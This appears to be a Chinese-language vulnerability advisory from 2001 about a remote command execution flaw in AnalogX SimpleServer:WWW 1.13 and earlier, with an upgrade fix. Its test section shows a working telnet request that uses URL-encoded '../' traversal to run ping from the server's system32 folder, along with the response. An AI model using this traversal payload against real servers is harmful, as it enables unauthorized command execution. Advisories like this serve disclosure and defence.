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SimpleServer:WWW 存在命令可执行漏洞


发布时间:2001-07-17
更新时间:2001-07-17
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
SimpleServer:WWW version 1.13和之前的版本
详细描述
SimpleServer(http://www.analogx.com/contents/download/network/sswww.htm)
是一个WEB服务程序,其中存在一个远程命令可执行漏洞,当接受到编码
字符时,允许远程攻击者绕过ROOT目录而执行程序。

测试代码
$ telnet 192.168.0.2 80
Trying 192.168.0.2...
Connected to 192.168.0.2
Escape character is ^].
GET /cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F
%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping%20192.168.0.1 HTTP/1.0
[NOTE: The above line has been wrapped for readability]

HTTP/1.0 200 OK
Pinging 192.168.0.1 with 32 bytes of data:

Reply from 192.168.0.1: bytes=32 time<10ms TTL=255
Reply from 192.168.0.1: bytes=32 time<10ms TTL=255
Reply from 192.168.0.1: bytes=32 time<10ms TTL=255
Reply from 192.168.0.1: bytes=32 time<10ms TTL=255

Ping statistics for 192.168.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

Connection closed by foreign host.

Note, the following URL encoded strings were used:
%2E%2E%2F = ../
%57%49%4E%4E%54 = WINNT
%73%79%73%74%65%6D%33%32 = system32

解决方案
升级到SimpleServer:WWW 1.15版本。

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